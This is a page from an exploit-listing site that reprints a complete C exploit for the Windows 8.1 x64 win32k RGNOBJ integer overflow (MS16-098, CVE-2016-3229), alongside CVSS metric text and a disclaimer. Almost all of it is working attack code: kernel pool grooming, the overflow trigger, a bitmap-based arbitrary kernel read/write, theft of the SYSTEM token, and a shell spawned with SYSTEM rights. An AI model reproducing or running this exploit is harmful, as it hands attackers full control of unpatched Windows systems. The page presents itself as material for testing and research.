Microsoft Windows 8.1 (x64) RGNOBJ Integer Overflow MS16-098
CVE
Category
Price
Severity
CVE-2016-3229
CWE-119
Unknown
High
Author
Risk
Exploitation Type
Date
Unknown
Unknown
Local
2017-08-09
CPE
cpe:cpe:/o:microsoft:windows_8.1:-
CVSS vector description
Metric
Value
Metric Description
Value Description
Attack vector Network AV The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230). Attack Complexity Low AC The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system. Privileges Required Low PR The attacker requires privileges that provide basic capabilities that are typically limited to settings and resources owned by a single low-privileged user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources. User Interaction None UI The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges Scope Unchanged S An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances. Confidentiality High C There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data. Integrity High I There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system. Availability High A There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2017080055 Below is a copy:
Microsoft Windows 8.1 (x64) RGNOBJ Integer Overflow MS16-098 #include <Windows.h>
#include <wingdi.h>
#include <stdio.h>
#include <winddi.h>
#include <time.h>
#include <stdlib.h>
#include <Psapi.h>
HANDLE hWorker, hManager;
BYTE *bits;
//dt nt!_EPROCESS UniqueProcessID ActiveProcessLinks Token
typedef struct
{
DWORD UniqueProcessIdOffset;
DWORD TokenOffset;
} VersionSpecificConfig;
VersionSpecificConfig gConfig = { 0x2e0, 0x348 }; //win 8.1
void AllocateClipBoard(unsigned int size) {
BYTE *buffer;
buffer = malloc(size);
memset(buffer, 0x41, size);
buffer[size - 1] = 0x00;
const size_t len = size;
HGLOBAL hMem = GlobalAlloc(GMEM_MOVEABLE, len);
memcpy(GlobalLock(hMem), buffer, len);
GlobalUnlock(hMem);
//OpenClipboard(wnd);
//EmptyClipboard();
SetClipboardData(CF_TEXT, hMem);
//CloseClipboard();
GlobalFree(hMem);
}
void AllocateClipBoard2(unsigned int size) {
BYTE *buffer;
buffer = malloc(size);
memset(buffer, 0x41, size);
buffer[size - 1] = 0x00;
const size_t len = size;
HGLOBAL hMem = GlobalAlloc(GMEM_MOVEABLE, len);
memcpy(GlobalLock(hMem), buffer, len);
GlobalUnlock(hMem);
//OpenClipboard(0);
//EmptyClipboard();
SetClipboardData(CF_TEXT, hMem);
//CloseClipboard();
//GlobalFree(hMem);
}
//https://www-user.tu-chemnitz.de/~heha/petzold/ch14e.htm
// CreateBitmap(7,9,5,3,NULL);
//iWidthBytes = 2 * ((cx*bitsperpixel+15)/16) = 4.5 ~ 4
//iBitmapBits = (cy * cplanes * iWidthBytes = 180
static HBITMAP bitmaps[5000];
void fungshuei() {
HBITMAP bmp;
for (int k = 0; k < 5000; k++) {
//bmp = CreateBitmap(1685, 2, 1, 8, NULL); //800 = 0x8b0 820 = 0x8e0 1730 = 0x1000 1700 = 0xfc0 1670 = 0xf70
bmp = CreateBitmap(1670, 2, 1, 8, NULL); // 1680 = 0xf80 1685 = 0xf90 allocation size 0xfa0
bitmaps[k] = bmp;
}
HACCEL hAccel, hAccel2;
LPACCEL lpAccel;
// Initial setup for pool fengshui.
lpAccel = (LPACCEL)malloc(sizeof(ACCEL));
SecureZeroMemory(lpAccel, sizeof(ACCEL));
HACCEL *pAccels = (HACCEL *)malloc(sizeof(HACCEL) * 7000);
HACCEL *pAccels2 = (HACCEL *)malloc(sizeof(HACCEL) * 7000);
for (INT i = 0; i < 7000; i++) {
hAccel = CreateAcceleratorTableA(lpAccel, 1);
hAccel2 = CreateAcceleratorTableW(lpAccel, 1);
pAccels[i] = hAccel;
pAccels2[i] = hAccel2;
}
for (int k = 0; k < 5000; k++) {
DeleteObject(bitmaps[k]);
}
for (int k = 0; k < 5000; k++) {
//AllocateClipBoard2(0xB90);
CreateEllipticRgn(0x79, 0x79, 1, 1); //size = 0xbc0
}
for (int k = 0; k < 5000; k++) {
//bmp = CreateBitmap(160, 2, 1, 8, NULL); //160 = 0x3a0 real allocation size 0x3b0
//bmp = CreateBitmap(165, 2, 1, 8, NULL); // size 3c0 // 140 = size = 390
bmp = CreateBitmap(0x52, 1, 1, 32, NULL); //size = 3c0
//bmp = CreateBitmap(0x150, 1, 1, 8, NULL); //size = 3c0
//bmp = CreateBitmap(0xa2, 1, 1, 16, NULL); // size = 3c0
bitmaps[k] = bmp;
}
for (int k = 0; k < 1700; k++) { //1500
AllocateClipBoard2(0x30);
}
for (int k = 2000; k < 4000; k++) {
DestroyAcceleratorTable(pAccels[k]);
DestroyAcceleratorTable(pAccels2[k]);
}
}
void SetAddress(BYTE* address) {
for (int i = 0; i < sizeof(address); i++) {
bits[0xdf0 + i] = address[i];
}
SetBitmapBits(hManager, 0x1000, bits);
}
void WriteToAddress(BYTE* data) {
SetBitmapBits(hWorker, sizeof(data), data);
}
LONG ReadFromAddress(ULONG64 src, BYTE* dst, DWORD len) {
SetAddress((BYTE *)&src);
return GetBitmapBits(hWorker, len, dst);
}
// Get base of ntoskrnl.exe
ULONG64 GetNTOsBase()
{
ULONG64 Bases[0x1000];
DWORD needed = 0;
ULONG64 krnlbase = 0;
if (EnumDeviceDrivers((LPVOID *)&Bases, sizeof(Bases), &needed)) {
krnlbase = Bases[0];
}
return krnlbase;
}
// Get EPROCESS for System process
ULONG64 PsInitialSystemProcess()
{
// load ntoskrnl.exe
ULONG64 ntos = (ULONG64)LoadLibrary("ntoskrnl.exe");
// get address of exported PsInitialSystemProcess variable
ULONG64 addr = (ULONG64)GetProcAddress((HMODULE)ntos, "PsInitialSystemProcess");
FreeLibrary((HMODULE)ntos);
ULONG64 res = 0;
ULONG64 ntOsBase = GetNTOsBase();
// subtract addr from ntos to get PsInitialSystemProcess offset from base
if (ntOsBase) {
ReadFromAddress(addr - ntos + ntOsBase, (BYTE *)&res, sizeof(ULONG64));
}
return res;
}
// Get EPROCESS for current process
ULONG64 PsGetCurrentProcess()
{
ULONG64 pEPROCESS = PsInitialSystemProcess();// get System EPROCESS
// walk ActiveProcessLinks until we find our Pid
LIST_ENTRY ActiveProcessLinks;
ReadFromAddress(pEPROCESS + gConfig.UniqueProcessIdOffset + sizeof(ULONG64), (BYTE *)&ActiveProcessLinks, sizeof(LIST_ENTRY));
ULONG64 res = 0;
while (TRUE) {
ULONG64 UniqueProcessId = 0;
// adjust EPROCESS pointer for next entry
pEPROCESS = (ULONG64)(ActiveProcessLinks.Flink) - gConfig.UniqueProcessIdOffset - sizeof(ULONG64);
// get pid
ReadFromAddress(pEPROCESS + gConfig.UniqueProcessIdOffset, (BYTE *)&UniqueProcessId, sizeof(ULONG64));
// is this our pid?
if (GetCurrentProcessId() == UniqueProcessId) {
res = pEPROCESS;
break;
}
// get next entry
ReadFromAddress(pEPROCESS + gConfig.UniqueProcessIdOffset + sizeof(ULONG64), (BYTE *)&ActiveProcessLinks, sizeof(LIST_ENTRY));
// if next same as last, we reached the end
if (pEPROCESS == (ULONG64)(ActiveProcessLinks.Flink) - gConfig.UniqueProcessIdOffset - sizeof(ULONG64))
break;
}
return res;
}
void main(int argc, char* argv[]) {
HDC hdc = GetDC(NULL);
HDC hMemDC = CreateCompatibleDC(hdc);
HGDIOBJ bitmap = CreateBitmap(0x5a, 0x1f, 1, 32, NULL);
HGDIOBJ bitobj = (HGDIOBJ)SelectObject(hMemDC, bitmap);
static POINT points[0x3fe01];
for (int l = 0; l < 0x3FE00; l++) {
points[l].x = 0x5a1f;
points[l].y = 0x5a1f;
}
points[2].y = 20;
points[0x3FE00].x = 0x4a1f;
points[0x3FE00].y = 0x6a1f;
if (!BeginPath(hMemDC)) {
fprintf(stderr, "[!] BeginPath() Failed: %x\r\n", GetLastError());
}
for (int j = 0; j < 0x156; j++) {
if (j > 0x1F && points[2].y != 0x5a1f) {
points[2].y = 0x5a1f;
}
if (!PolylineTo(hMemDC, points, 0x3FE01)) {
fprintf(stderr, "[!] PolylineTo() Failed: %x\r\n", GetLastError());
}
}
EndPath(hMemDC);
//Kernel Pool Fung=Shuei
fungshuei();
//getchar();
fprintf(stdout, "[+] Trigerring Exploit.\r\n");
//__debugbreak();
if (!FillPath(hMemDC)) {
fprintf(stderr, "[!] FillPath() Failed: %x\r\n", GetLastError());
}
printf("%s\r\n", "Done filling.");
HRESULT res;
VOID *fake = VirtualAlloc(0x0000000100000000, 0x100, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (!fake) {
fprintf(stderr, "VirtualAllocFailed. %x\r\n", GetLastError());
}
memset(fake, 0x1, 0x100);
bits = malloc(0x1000);
memset(bits, 0x42, 0x1000);
for (int k = 0; k < 5000; k++) {
res = GetBitmapBits(bitmaps[k], 0x1000, bits); //1685 * 2 * 1 + 1
if (res > 0x150) {
fprintf(stdout, "GetBitmapBits Result. %x\r\nindex: %d\r\n", res, k);
/*fprintf(stdout, "Printing Bits:\r\n");
for (int i = 1; i < 0x1000; i++) {
fprintf(stdout, "%02x", bits[i]);
}*/
hManager = bitmaps[k];
hWorker = bitmaps[k + 1];
// Get Gh05 header to fix overflown header.
static BYTE Gh04[0x9];
fprintf(stdout, "\r\nGh04 header:\r\n");
for (int i = 0; i < 0x10; i++) {
Gh04[i] = bits[0x1d0 + i];
fprintf(stdout, "%02x", bits[0x1d0 + i]);
}
// Get Gh05 header to fix overflown header.
static BYTE Gh05[0x9];
fprintf(stdout, "\r\nGh05 header:\r\n");
for (int i = 0; i < 0x10; i++) {
Gh05[i] = bits[0xd90 + i];
fprintf(stdout, "%02x", bits[0xd90 + i]);
}
// Address of Overflown Gh04 object header
static BYTE addr1[0x7];
fprintf(stdout, "\r\nPrevious page Gh04 (Leaked address):\r\n");
for (int j = 0; j < 0x8; j++) {
addr1[j] = bits[0x210 + j];
fprintf(stdout, "%02x", bits[0x210 + j]);
}
//Get pvscan0 address of second Gh05 object
static BYTE* pvscan[0x07];
fprintf(stdout, "\r\nPvsca0:\r\n");
for (int i = 0; i < 0x8; i++) {
pvscan[i] = bits[0xdf0 + i];
fprintf(stdout, "%02x", bits[0xdf0 + i]);
}
// Calculate address to overflown Gh04 object header.
addr1[0x0] = 0;
int u = addr1[0x1];
u = u - 0x10;
addr1[1] = u;
//Fix overflown Gh04 object Header
//__debugbreak();
SetAddress(addr1);
//__debugbreak();
WriteToAddress(Gh04);
// Calculate address to overflown Gh05 object header.
addr1[0] = 0xc0;
int y = addr1[1];
y = y + 0xb;
addr1[1] = y;
//Fix overflown Gh05 object Header
SetAddress(addr1);
WriteToAddress(Gh05);
// get System EPROCESS
ULONG64 SystemEPROCESS = PsInitialSystemProcess();
//__debugbreak();
//fprintf(stdout, "\r\n%x\r\n", SystemEPROCESS);
ULONG64 CurrentEPROCESS = PsGetCurrentProcess();
//__debugbreak();
//fprintf(stdout, "\r\n%x\r\n", CurrentEPROCESS);
ULONG64 SystemToken = 0;
// read token from system process
ReadFromAddress(SystemEPROCESS + gConfig.TokenOffset, (BYTE *)&SystemToken, 0x8);
// write token to current process
ULONG64 CurProccessAddr = CurrentEPROCESS + gConfig.TokenOffset;
SetAddress((BYTE *)&CurProccessAddr);
WriteToAddress((BYTE *)&SystemToken);
// Done and done. We're System :)
system("cmd.exe");
break;
}
if (res == 0) {
fprintf(stderr, "GetBitmapBits failed. %x\r\n", GetLastError());
}
}
//getchar();
//clean up
DeleteObject(bitobj);
DeleteObject(bitmap);
DeleteDC(hMemDC);
ReleaseDC(NULL, hdc);
VirtualFree(0x0000000100000000, 0x100, MEM_RELEASE);
//free(points);
}
Copyright ©2024 Exploitalert.
This information is provided for TESTING and LEGAL RESEARCH purposes only. All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum